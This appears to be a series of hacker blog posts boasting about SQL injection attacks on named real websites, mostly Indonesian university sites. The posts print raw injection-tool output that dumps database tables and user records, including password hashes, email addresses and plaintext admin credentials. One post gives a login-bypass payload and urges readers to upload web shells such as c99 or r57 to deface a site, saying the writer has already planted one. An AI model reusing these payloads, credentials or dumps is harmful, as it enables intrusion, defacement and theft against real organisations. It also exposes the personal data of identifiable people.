[SQLi] http://www.obengware.com

admin username = admin
admin passwd = 15287232

Problem: where is the admin directory?


[+] URL:http://obengware.com/news/index.php?cat_id=&tim=1221955199
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing database version, username@location, and database name!
[+] 21:38:25
[0]: 5.0.32-Debian_7etch6:t31237_news@localhost:t31237_news

[-] 21:52:57
[-] Total URL Requests 388
[-] Done

[+] URL:http://obengware.com/news/index.php?cat_id=&tim=1221955199
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing Tables from database "t31237_news"
[+] 21:41:13
[+] Number of Rows: 18

[0]: articles
[1]: ban_group
[2]: ban_source
[3]: categories
[4]: comments
[5]: newsletter
[6]: poll
[7]: poll_ip
[8]: poll_result
[9]: properties
[10]: rating
[11]: session
[12]: session_detail
[13]: styles
[14]: sub_categories
[15]: topmenu
[16]: users
[17]: visitors

[-] 22:31:01
[-] Total URL Requests 1237
[-] Done


[+] URL:http://obengware.com/news/index.php?cat_id=&tim=1221955199
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Dumping data from database "t31237_news" Table "users"
[+] Column(s) ['username', 'password', 'root']
[+] 22:55:05
[+] Number of Rows: 2

[0]: admin:fbf21ad480de232810e70a7698e627c6:0
[1]: news:acc27bdc9f7dafd9e2f43945fd692dca:0


Read More

[SQLi] http://web.ipb.ac.id/~lppm/ID/index.php

Another SQL injection in the same day :D



Website: http://web.ipb.ac.id/~lppm/ID/index.php
Bug: SQL injection
Tool: -

Injection: here

Read More

[SQLi] http://career.sbm.itb.ac.id/

Yeah, at last, find an easy sql injection :D

Website: http://career.sbm.itb.ac.id/
Bug: SQL injection
Tool: -




Method: ' or 'a'='a on login & password textbox

You can deface it by uploading the shell like c99, r57, etc. Here, i have injected the shell. Juz do the rest :D

Read More

[SQLi] http://www.unesa.ac.id

admin username = ari
admin password = unesah

Problem: Where is the admin directory?

Website:http://www.unesa.ac.id
Bug: SQL injection
Tool: blindext.py

Dumps:

[+] URL:http://www.unesa.ac.id/unesa.php?s=berita&xkd=111
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing all databases current user has access too!
[+] 17:45:33
[+] Number of Rows: 1

[0]: webunesa

[-] 17:46:20
[-] Total URL Requests 80
[-] Done



[+] URL:http://www.unesa.ac.id/unesa.php?s=berita&xkd=111
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!

[17:46:30] StartTime
[+] Fuzzing Tables...

[Table]:user
[Column]:passwd
[Column]:id
[Column]:email
[Column]:login

[17:47:26] EndTime
[-] Total URL Requests 227
[-] Done



[+] URL:http://www.unesa.ac.id/unesa.php?s=berita&xkd=111
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Dumping data from database "webunesa" Table "user"
[+] Column(s) ['passwd', 'id', 'email', 'login']
[+] 17:47:56
[+] Number of Rows: 15

[0]: a456cd1f2bb4665b380ad93060b977b1:111:soboparan@yahoo.com:ari
[1]: 4ea43e57d6f0054756af707ba44e85cc:111::pasca
[2]: 25eb39c0affd2939b4291d4141c4cb5b:111:alim_sumarno@yahoo.com:alim

I terminated here because it took a long time :). The admin is in the first row.


Read More

[SQLi] http://www.fti-tarumanagara.or.id

Another victim :D

Website: http://www.fti-tarumanagara.or.id
Bug: SQL injection
Tool: blindext.py

Dumps:

[+] URL:http://www.fti-tarumanagara.or.id/index.php?a=news&detnews=96
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing database version, username@location, and database name!
[+] 12:02:19
[0]: 5.0.18-nt:root@localhost:dbfti

[-] 12:03:12
[-] Total URL Requests 220
[-] Done




[+] URL:http://www.fti-tarumanagara.or.id/index.php?a=news&detnews=96
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing all databases current user has access too!
[+] 11:54:38
[+] Number of Rows: 24

[0]: Copy of dbskripsi
[1]: Copy of kp_db
[2]: Copy of labfti
[3]: alumniuntar
[4]: builderdb
[5]: cdcol
[6]: data
[7]: dbfti
[8]: dbseminar
[9]: dbskripsi
[10]: dbskripsi_onupdate
[11]: dbsnti
[12]: dbwebsitenews
[13]: helpdesk
[14]: kp_db
[15]: kp_db_test
[16]: labfti
[17]: mysql
[18]: nontemplatedb
[19]: phpmyadmin
[20]: templatedb
[21]: templateuserdb
[22]: test
[23]: webauth

[-] 12:02:28
[-] Total URL Requests 1787
[-] Done



[+] URL:http://www.fti-tarumanagara.or.id/index.php?a=news&detnews=96
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing Tables from database "dbfti"
[+] 12:03:25
[+] Number of Rows: 18

[0]: tbbanner
[1]: tbbidpenelitian
[2]: tbevents
[3]: tbfavlinks
[4]: tbjurnalilmiah
[5]: tbmatakuliah
[6]: tbmatakuliahpil
[7]: tbmatakuliahsilabus
[8]: tbmember
[9]: tbnews
[10]: tbormadetil
[11]: tbormagaleri
[12]: tbormamhs
[13]: tbpenelitian
[14]: tbpolling
[15]: tbpollingdetail
[16]: tbsitemap
[17]: tbstaff

[-] 12:20:36
[-] Total URL Requests 1552
[-] Done



[+] URL:http://www.fti-tarumanagara.or.id/index.php?a=news&detnews=96
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Showing Columns from database "dbfti" and Table "tbmember"
[+] 12:20:31
[+] Number of Rows: 9

[0]: user
[1]: pass
[2]: email
[3]: nama
[4]: tgl_lahir
[5]: jk
[6]: alamat
[7]: hp
[8]: type

[-] 12:27:52
[-] Total URL Requests 367
[-] Done



[+] URL:http://www.fti-tarumanagara.or.id/index.php?a=news&detnews=96
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Dumping data from database "dbfti" Table "tbmember"
[+] Column(s) ['user', 'pass', 'email', 'type']
[+] 12:30:51
[+] Number of Rows: 1

[0]: admin:67e6d175480398b4c98842c648bceb4d:admin@fti-tarumanagara.or.id:Admin

[-] 12:36:10
[-] Total URL Requests 535
[-] Done



+] URL:http://www.fti-tarumanagara.or.id/index.php?a=news&detnews=96
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
[+] MySQL >= v5.0.0 found!
[+] Dumping data from database "builderdb" Table "user_account"
[+] Column(s) ['Username', 'Password']
[+] 13:13:10
[+] Number of Rows: 13

[0]: suryana:efd92f19bd78ab7e59775959c014f5aa
[1]: l3lyh:1cc56014cc296ef8cc6ffd2635d7c3dc
[2]: ria_yuni:9a2891b0b857317639a177bcda


Read More